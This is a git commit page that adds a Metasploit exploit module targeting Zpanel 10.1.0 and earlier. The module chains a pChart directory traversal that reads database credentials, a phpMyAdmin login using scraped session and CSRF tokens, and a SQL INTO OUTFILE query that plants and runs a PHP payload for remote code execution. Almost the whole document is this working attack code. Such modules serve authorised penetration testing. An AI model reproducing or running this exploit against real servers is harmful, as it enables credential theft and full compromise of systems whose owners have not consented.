Removing hard tabs test

bug/bundler_fix
brent morris 2015-10-02 14:31:46 -04:00
parent 6406a66bc0
commit 4ee7ba05aa
1 changed files with 265 additions and 0 deletions

View File

@ -0,0 +1,265 @@
require 'msf/core'
require 'msf/core/exploit/php_exe'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Zpanel Remote Unauthenticated RCE',
'Description' => %q{
This module exploits an information disclosure vulnerability
found in Zpanel <= 10.1.0. The vulnerability exposed due to a
vulnerable version of pChart allowing remote, unauthenticated,
users to read arbitrary files found on the filesystem. This
particular module utilizes this vulnerability to identify the
username/password combination of the MySQL instance. With the
credentials the attackers can login to PHPMyAdmin and execute
SQL commands to drop a malicious payload on the filesystem and
call it leading to remote code execution.
},
'Author' => [
'dawn isabel', #dawn.isabel[at]gmail.com
'brad wolfe', #brad.wolfe[at]gmail.com
'brent morris', #inkrypto[at]gmail.com
'james fitts' #fitts.james[at]gmail.com
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-2097' ],
[ 'EDB', '31173' ], # pChart
[ 'OSVDB', '102595' ], # pChart
[ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ],
[ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ]
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 30 2014'))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel'])
], self.class)
end
def dot_dot_slash(uri)
res = send_request_cgi({
'method' => 'get',
'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"),
'vars_get' => {
'Action' => 'View',
'Script' => '../../../../cnf/db.php'
},
'version' => "1.1",
})
uname = res.body.scan(/(?<=\$user&nbsp;<\/span><span style\="color: #007700"\>=&nbsp;<\/span><span style\="color: #DD0000"\>')[A-Za-z0-9]+/)
passwd = res.body.scan(/(?<=\$pass&nbsp;<\/span><span style\="color: #007700"\>=&nbsp;<\/span><span style\="color: #DD0000"\>')[A-Za-z0-9@#\$\%\^\&\+=_]+/)
dbname = res.body.scan(/(?<=\$dbname&nbsp;<\/span><span style\="color: #007700"\>=&nbsp;<\/span><span style\="color: #DD0000"\>')[A-Za-z0-9_]+/)
return uname, passwd, dbname
end
def grab_sess_and_token(uri)
print_status("Attempting to get PHPSESSIONID")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{uri}"),
'version' => '1.1'
})
sess_id = "#{res.headers['Set-Cookie'].to_s.scan(/(?<=PHPSESSID=)[A-Za-z0-9]+/)}"
sess_id = sess_id[2..-3]
if sess_id.length > 0
print_good("PHPSESSID identified!")
print_good("PHPSESSID = #{sess_id}")
print_status("Attempting to get CSRF token")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"),
'version' => '1.1',
'Cookie' => "PHPSESSID=#{sess_id}"
})
token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}"
token = token.to_s[2..-3]
token = token[0..31]
cookies = res.get_cookies
cookies = cookies.split("; ")
cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; PHPSESSID=#{sess_id}"
if token.length > 0
print_good("CSRF token identified!")
print_good("CSRF token = #{token}")
return cookies, token, sess_id
else
print_error("CSRF token could not be identified...")
end
else
print_error("PHPSESSID could not be identified...")
end
end
def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
old_cookies = cookies
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"),
'cookie' => cookies,
'ctype' => "application/x-www-form-urlencoded",
'headers' => {
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
},
'vars_post' => {
'pma_username' => uname,
'pma_password' => passwd,
'server' => "1",
'lang' => "en",
'collation_connection' => "utf8_general_ci",
'token' => token
}
})
cookies = "#{res.get_cookies}"
old_cookies = old_cookies.split("; ")
cookies = cookies.split("; ")
new_cookies = "#{old_cookies[0]}; "
new_cookies << "#{old_cookies[1]}; "
new_cookies << "#{old_cookies[2]}; "
new_cookies << "#{old_cookies[3]}; "
new_cookies << "#{cookies[0]}; "
new_cookies << "#{cookies[1]} "
new_cookies << "PHPSESSID=#{sess_id}"
token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/)
token = token.to_s[2..-3]
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"),
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
'cookie' => new_cookies,
'vars_get' => {
'token' => token
}
})
if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/
print_good("PHPMyAdmin login successful!")
return new_cookies, token
end
end
def do_sql(cookies, token, uri)
fname = "#{rand_text_alpha_upper(5)}.php"
sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\""
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("etc", "apps", "phpmyadmin", "import.php"),
'version' => '1.1',
'cookie' => cookies,
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'headers' => {
'X-Requested-With' => "XMLHttpRequest",
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}"
},
'vars_post' => {
'is_js_confirmed' => "0",
'token' => token,
'pos' => "0",
'goto' => "server_sql.php",
'message_to_show' => "Your+SQL+query+has+been+executed+successfully",
'prev_sql_query' => "",
'sql_query' => sql_stmt,
'sql_delimiter' => ";",
'show_query' => "1",
'ajax_request' => "true",
'_nocache' => rand.to_s[2..19].to_i
},
})
if res.body =~ /"success":true/
print_good("'#{fname}' successfully uploaded")
print_status("Executing '#{fname}' on the remote host")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{uri}", "#{fname}"),
'version' => '1.1'
})
else
print_error("#{res.body.to_s}")
end
end
def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"
# Checking pChart
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php")
})
# if pChart is vuln version
if res.body =~ /pChart 2.x/
db_info = dot_dot_slash(uri)
db_info = db_info.flatten
uname = db_info[0]
passwd = db_info[1]
db_name = db_info[2]
if uname.length > 0 and passwd.length > 0
print_good("Directory traversal successful, Username/Password identified!")
print_good("Username: #{uname.to_s}")
print_good("Password: #{passwd.to_s}")
print_good("DB Name: #{db_name.to_s}")
cookies, token, sess_id = grab_sess_and_token(uri)
print_status("Logging into PHPMyAdmin now")
cookies, token = login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
print_status("Uploading malicious payload now")
do_sql(cookies, token, uri)
else
print_error("It appears that the directory traversal was unsuccessful...")
end
else
print_error("It appears that the version of pChart is not vulnerable...")
end
end
end